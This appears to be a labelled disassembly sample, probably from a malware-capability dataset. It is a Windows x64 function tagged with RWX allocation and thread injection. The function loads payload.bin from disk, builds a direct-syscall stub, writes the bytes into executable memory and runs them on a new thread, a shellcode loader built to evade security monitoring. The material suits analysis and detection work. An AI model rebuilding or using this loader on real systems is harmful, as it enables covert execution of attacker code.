Function at 0x140011717
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x14001f9d0
push rbp
push rsi
push rdi
sub rsp, 0x530
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0xd4
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140032040]
xor rax, rbp
mov qword [rbp + 0x4c8], rax
lea rcx, [0x14003a0fd]
call fcn.140011a5a
lea rax, [rbp + 8]
lea rcx, str.C:Users_aliceDesktop_aviod_syscall2payload.bin
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov edx, 0x110
lea rcx, [rbp + 0x60]
call fcn.140011726
mov edx, 1
lea rcx, [rbp + 0x60]
call fcn.140011479
nop
mov r9d, 0x40
mov r8d, 0x22
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x60]
call fcn.140011415
mov r8d, 2
xor edx, edx
lea rcx, [rbp + 0x60]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rdx, [rbp + 0x488]
lea rcx, [rbp + 0x60]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, rax
call fcn.140011a9b
mov dword [rbp + 0x184], eax
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x60]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
movsxd rax, dword [rbp + 0x184]
mov rcx, rax
call fcn.140011438
mov qword [rbp + 0x4b8], rax
mov rax, qword [rbp + 0x4b8]
mov qword [rbp + 0x1a8], rax
lea rcx, [rbp + 0x60]
call fcn.140011050
movzx eax, al
test eax, eax
je 0x14001fb0e
lea rdx, str.reading_from_the_file
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001112c
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movsxd rax, dword [rbp + 0x184]
mov r8, rax
mov rdx, qword [rbp + 0x1a8]
lea rcx, [rbp + 0x60]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rdx, str.size_of_data_
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001112c
mov edx, 8
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.size_of_file_
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001112c
mov edx, dword [rbp + 0x184]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x1c4], 0
jmp 0x14001fb8b
mov eax, dword [rbp + 0x1c4]
inc eax
mov dword [rbp + 0x1c4], eax
mov eax, dword [rbp + 0x184]
cmp dword [rbp + 0x1c4], eax
jge 0x14001fbbb
movsxd rax, dword [rbp + 0x1c4]
mov rcx, qword [rbp + 0x1a8]
movsx eax, byte [rcx + rax]
mov edx, eax
lea rcx, str._x
call fcn.1400114a1
jmp 0x14001fb7d
lea rcx, [0x14002cacc]
call fcn.1400114a1
mov byte [rbp + 0x1e8], 0x74
mov byte [rbp + 0x1e9], 0
mov byte [rbp + 0x1ea], 0
mov byte [rbp + 0x1eb], 0x7a
mov byte [rbp + 0x1ec], 0x74
mov byte [rbp + 0x1ed], 0
mov byte [rbp + 0x1ee], 0
mov byte [rbp + 0x1ef], 0x7a
mov byte [rbp + 0x208], 0xf
mov byte [rbp + 0x209], 5
mov byte [rbp + 0x20a], 0x90
mov byte [rbp + 0x20b], 0x90
mov byte [rbp + 0x20c], 0xc3
mov byte [rbp + 0x20d], 0x90
mov byte [rbp + 0x20e], 0xcc
mov byte [rbp + 0x20f], 0xcc
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x1e8]
call fcn.140011523
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbp + 0x228], rax
mov dword [rbp + 0x244], 0
mov qword [rbp + 0x268], 0
mov qword [rbp + 0x288], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x184]
xor r8d, r8d
lea rdx, [rbp + 0x268]
mov rcx, qword [rbp + 0x228]
call fcn.140011b22
mov dword [rbp + 0x2a4], eax
movsxd rax, dword [rbp + 0x184]
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x1a8]
mov rdx, qword [rbp + 0x268]
mov rcx, qword [rbp + 0x228]
call fcn.140011b2c
mov dword [rbp + 0x2c4], eax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rbp + 0x268]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x228]
xor r8d, r8d
mov edx, 0x20000000
lea rcx, [rbp + 0x288]
call fcn.140011582
mov dword [rbp + 0x2e4], eax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x288]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
lea rcx, [rbp + 0x60]
call fcn.140011195
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x60]
lea rdx, [0x14002b9a0]
call fcn.140011893
mov eax, edi
mov rcx, qword [rbp + 0x4c8]
xor rcx, rbp
call fcn.1400114c9
lea rsp, [rbp + 0x4d0]
pop rdi
pop rsi
pop rbp
ret